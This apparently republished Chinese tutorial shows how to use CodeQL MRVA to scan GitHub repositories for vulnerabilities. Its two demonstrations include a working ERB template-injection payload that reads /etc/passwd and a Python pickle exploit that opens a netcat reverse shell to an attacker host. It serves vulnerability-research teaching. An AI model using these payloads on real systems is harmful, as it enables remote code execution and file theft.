使用 MRVA CodeQL 对开源项目进行大规模漏洞挖掘

2023-10-18 11:12

本文主要是介绍使用 MRVA CodeQL 对开源项目进行大规模漏洞挖掘,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

1.什么是 MRVA?

CodeQL相关的资料目前已经非常多了,但是大部分都集中在介绍ql语法以及基本使用上,更多关注的是对单个项目进行分析。那么如何批量进行漏洞挖掘呢?这里介绍下MRVA。

MRVA是multi-repository variant analysis 的缩写。其实是VScode 里codeql插件的一个功能,只不过经常被大家忽视。使用MRVA可以一次性对多个GitHub仓库进行漏洞扫描并且不需要我们编译源码数据库,无疑给我们带来了极大的便利。

当添加大量GitHub仓库时,MRVA通常会比较缓慢,可以通过Github Code Search 查询敏感的sink点,缩小仓库范围,然后再将筛选出来的仓库添加到MVRVA的仓库中从而增加检测速度。如果结合官方或者自定义的ql文件,无疑会大大提高漏洞发现的概率。

2.MRVA vs CodeQL suites

MRVA 和 CodeQL suites之间有什么区别呢?MRVA 其实是建立在CodeQL suites之上的,通过结合github action 来实现,漏洞扫描动作是在GitHub官方镜像里面完成的,这些动作都是对用户透明的。下列两张图生动形象的展示了两者之间的区别。

CodeQL suite

MRVA

CodeQL suite是针对单个项目就像是鱼竿一次只能钓一条,而MRVA则像是渔网,一次可以针对多个仓库,无疑后者会节约大量时间。

3.如何使用MRVA

3.1 在VSCode中安装codeql插件

搜索并安装codeql插件

3.2 配置 Github controller

MRVA的原理是使用Github actions运行CodeQL queries,为了加快速度GitHub其实已经构建了目标数据库。因此我们需要依赖一个GitHub 仓库来完成GitHhub actions。仓库的名称不重要,但该仓库至少需要一个commit。

建立好controller 仓库后,就可以配置codeql插件了。进入VScode配置中,搜索codeql,如下,在variant analysis中配置。名称和上一步创建的保持一致即可。

4.导入GitHub仓库

在codeql插件中有几种导入仓库的方式

默认情况下有top10、top100、top1000 的仓库地址,如果使用直接勾选即可。也可以根据自己需要选择数据库,点击+号可以直接添加某个仓库,也可以根据仓库owner或者组织进行批量添加。

当选择文件夹的标志时,可以创建一个list,这里创建了一个test,在test鼠标右键可以看到支持从GitHub Code Search直接添加仓库,这样筛选出来的仓库存在漏洞的概率就更大,检测的时间也更短。

同时我们也可以直接修改配置文件,添加仓库。

5.MRVA漏洞挖掘实战

5.1服务器端模板注入 (Ruby)

我们通过服务器端模板注入漏洞为例,来测试下 MRVA。该ql已经集成进codeql suites中,
ruby/ql/src/experimental/template-injection/TemplateInjection.ql。

使用上述ql语句扫描了GitHub top1000的项目,排除误报后发现了下列项目存在漏洞:
bootstrap-ruby/bootstrap_form.


下面对漏洞进行验证:

bootstrap_form/demo/bin ❯ sudo ./rails s

执行完毕之后,demo运行在3000端口

def fragment

@erb = params[:erb]

@erb.prepend '<div class="p-3 border">'

@erb << "</div>"

load_models

render inline: @erb, layout: "application" # rubocop: disable Rails/RenderInline

end

从上面代码可知,demo应用接收了erb参数并拼接了html标签最后解析执行,从下面代码可知路由为/fragment

Dummy::Application.routes.draw do

get "fragment" => "bootstrap#fragment", as: :fragment

resources :users

root to: "bootstrap#form"

end

分析完毕代码之后,我们尝试通过如下payload 利用ssti读取passwd文件:

<%= IO.popen('cat /etc/passwd').readlines() %>

可惜的是虽然证明了上述demo确实存在漏洞,但由于该demo仅供演示,因此没有危害。但我们整个流程是走通了。

5.2不安全的反序列化 (Python)

使用默认的codeql suites的python ql文件UnsafeDeserialization.ql对GitHub top 1000项目进行扫描,发现ray项目存在漏洞。


从上述查询结果中可以发现RLlib的 PolicyServerInput 类 (
/ray/python/ray/rllib/env/policy_server_input.py)直接对用户提交的raw_body进行了反序列化操作,如下

def do_POST(self):

content_len = int(self.headers.get("Content-Length"), 0)

raw_body = self.rfile.read(content_len)

parsed_input = pickle.loads(raw_body)

经分析发现上述危险类在
/ray/rllib/examples/serving/cartpole_server.py (l.101-115)中使用

if __name__ == "__main__":

args = parser.parse_args()

ray.init()

def _input(ioctx):

if ioctx.worker_index > 0 or ioctx.worker.num_workers == 0:

return PolicyServerInput(

ioctx,

SERVER_ADDRESS,

args.port + ioctx.worker_index - (1 if ioctx.worker_index > 0 else 0),

)

启动该server并进行测试

python3 /ray/rllib/examples/serving/cartpole_server.py

poc如下,发送恶意的代码到目标端口并监听反向连接

import requests

import pickle

import os

attacker = "localhost"

attacker_port = "4444"

class RCE:

def __reduce__(self):

cmd = (f'rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {attacker} {attacker_port} > /tmp/f')

return os.system, (cmd,)

# Serialize the malicious class

pickled = pickle.dumps(RCE())

# Define the URL to which you want to send the POST request

url = "http://localhost:9900/"

headers = {

"Content-Type": "application/octet-stream", # Indicate that we are sending binary data

}

# Send the POST request with the serialized data

requests.post(url, data=pickled, headers=headers)

执行poc之后,接收到反弹shell,证明漏洞确实存在

python3 exploit.py

经过与ray官方沟通,官方认为该接口不应暴露在外,因此不认为是漏洞。经过上述例子再次证明MRVA的强大。

参考链接:

  • https://codeql.github.com/docs/codeql-for-visual-studio-code/running-codeql-queries-at-scale-with-mrva/
  • https://maikypedia.gitlab.io/posts/finding-vulns-with-mrva-codeql/

这篇关于使用 MRVA CodeQL 对开源项目进行大规模漏洞挖掘的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/232196

相关文章

这15个Vue指令,让你的项目开发爽到爆

1. V-Hotkey 仓库地址: github.com/Dafrok/v-ho… Demo: 戳这里 https://dafrok.github.io/v-hotkey 安装: npm install --save v-hotkey 这个指令可以给组件绑定一个或多个快捷键。你想要通过按下 Escape 键后隐藏某个组件,按住 Control 和回车键再显示它吗?小菜一碟: <template

中文分词jieba库的使用与实景应用(一)

知识星球:https://articles.zsxq.com/id_fxvgc803qmr2.html 目录 一.定义: 精确模式(默认模式): 全模式: 搜索引擎模式: paddle 模式(基于深度学习的分词模式): 二 自定义词典 三.文本解析   调整词出现的频率 四. 关键词提取 A. 基于TF-IDF算法的关键词提取 B. 基于TextRank算法的关键词提取

使用SecondaryNameNode恢复NameNode的数据

1)需求: NameNode进程挂了并且存储的数据也丢失了,如何恢复NameNode 此种方式恢复的数据可能存在小部分数据的丢失。 2)故障模拟 (1)kill -9 NameNode进程 [lytfly@hadoop102 current]$ kill -9 19886 (2)删除NameNode存储的数据(/opt/module/hadoop-3.1.4/data/tmp/dfs/na

Hadoop数据压缩使用介绍

一、压缩原则 (1)运算密集型的Job,少用压缩 (2)IO密集型的Job,多用压缩 二、压缩算法比较 三、压缩位置选择 四、压缩参数配置 1)为了支持多种压缩/解压缩算法,Hadoop引入了编码/解码器 2)要在Hadoop中启用压缩,可以配置如下参数

Makefile简明使用教程

文章目录 规则makefile文件的基本语法:加在命令前的特殊符号:.PHONY伪目标: Makefilev1 直观写法v2 加上中间过程v3 伪目标v4 变量 make 选项-f-n-C Make 是一种流行的构建工具,常用于将源代码转换成可执行文件或者其他形式的输出文件(如库文件、文档等)。Make 可以自动化地执行编译、链接等一系列操作。 规则 makefile文件

如何用Docker运行Django项目

本章教程,介绍如何用Docker创建一个Django,并运行能够访问。 一、拉取镜像 这里我们使用python3.11版本的docker镜像 docker pull python:3.11 二、运行容器 这里我们将容器内部的8080端口,映射到宿主机的80端口上。 docker run -itd --name python311 -p

使用opencv优化图片(画面变清晰)

文章目录 需求影响照片清晰度的因素 实现降噪测试代码 锐化空间锐化Unsharp Masking频率域锐化对比测试 对比度增强常用算法对比测试 需求 对图像进行优化,使其看起来更清晰,同时保持尺寸不变,通常涉及到图像处理技术如锐化、降噪、对比度增强等 影响照片清晰度的因素 影响照片清晰度的因素有很多,主要可以从以下几个方面来分析 1. 拍摄设备 相机传感器:相机传

阿里开源语音识别SenseVoiceWindows环境部署

SenseVoice介绍 SenseVoice 专注于高精度多语言语音识别、情感辨识和音频事件检测多语言识别: 采用超过 40 万小时数据训练,支持超过 50 种语言,识别效果上优于 Whisper 模型。富文本识别:具备优秀的情感识别,能够在测试数据上达到和超过目前最佳情感识别模型的效果。支持声音事件检测能力,支持音乐、掌声、笑声、哭声、咳嗽、喷嚏等多种常见人机交互事件进行检测。高效推

【Prometheus】PromQL向量匹配实现不同标签的向量数据进行运算

✨✨ 欢迎大家来到景天科技苑✨✨ 🎈🎈 养成好习惯,先赞后看哦~🎈🎈 🏆 作者简介:景天科技苑 🏆《头衔》:大厂架构师,华为云开发者社区专家博主,阿里云开发者社区专家博主,CSDN全栈领域优质创作者,掘金优秀博主,51CTO博客专家等。 🏆《博客》:Python全栈,前后端开发,小程序开发,人工智能,js逆向,App逆向,网络系统安全,数据分析,Django,fastapi

pdfmake生成pdf的使用

实际项目中有时会有根据填写的表单数据或者其他格式的数据,将数据自动填充到pdf文件中根据固定模板生成pdf文件的需求 文章目录 利用pdfmake生成pdf文件1.下载安装pdfmake第三方包2.封装生成pdf文件的共用配置3.生成pdf文件的文件模板内容4.调用方法生成pdf 利用pdfmake生成pdf文件 1.下载安装pdfmake第三方包 npm i pdfma